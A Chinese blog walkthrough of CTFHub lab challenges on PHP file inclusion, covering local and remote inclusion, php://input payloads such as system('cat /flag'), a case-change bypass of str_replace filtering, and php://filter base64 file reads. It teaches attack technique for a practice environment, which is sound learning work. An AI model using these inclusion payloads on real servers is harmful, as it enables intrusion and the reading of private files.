文件包含&php伪协议

文章讲述了在IT安全背景下,如何利用PHP的文件包含漏洞(如本地文件包含、远程文件包含)以及伪协议(php://input和php://filter)来查找和获取flag。方法包括使用Hackbar、蚁剑工具,以及通过抓包、str_replace和base64编码技巧来绕过安全限制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、本地文件包含

法一:

点进去后使用Hackbar,用密码查找目录下文件(在地址上加?file=)

查到两个文件,没有flag

返回根目录下查找,输入ls /  (中间有空格)

找到好多文件,其中有flag

输入以下指令直接找flag

得到flag。

法二:蚁剑

右键添加数据,地址中加?file=,密码为ctfhub

添加完数据后打开终端,查找目录下文件,输入ls,没有flag

返回查找根目录,输入ls /,里边有flag文件

输入cat /flag查找flag

二、远程文件包含

PHP的配置文件php.ini里allow_url_fopen和allow_url_include为ON

改变请求方法为post可在下方请求数据。使用伪协议,输入?file=php://input,下方随便输,发现出现在右侧

输入<?php system('ls');?>找到俩文件

输入<?php system('ls /');?>找到flag文件

输入<?php system('cat /flag');?>找到flag

三、php://input 伪协议

题一:

抓包,在上方输入?file=php://input,下方输入<?php system('ls')?>查看目录下文件(因为用了伪协议所以GET传参也能用)

没有flag,再输入<?php system('ls /')?>查根目录

有一个很像flag,输入<?php system('cat /flag_11490')?>查看(用原文件名),找到了

题二:

框中长语句表示php://会被绕过,while循环限制了pphphp这种写法也不可用

str_replace可使用改变字母大小写的方式进行替换,注意将file改为page,然后在下方查找目录下文件

这个有点像

输入<?php system('cat fl4gisisish3r3.php')?>  (在目录下就不用/了)

四、php://filter 伪协议(读文件)

将文件进行base64编码再读出,即在file=后,flag前加上php://filter/read=convert.base64-encode/resource=

得到一串base64编码

将其复制到Burp中进行解码,得到flag

本题已给flag文件,直接过滤即可

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值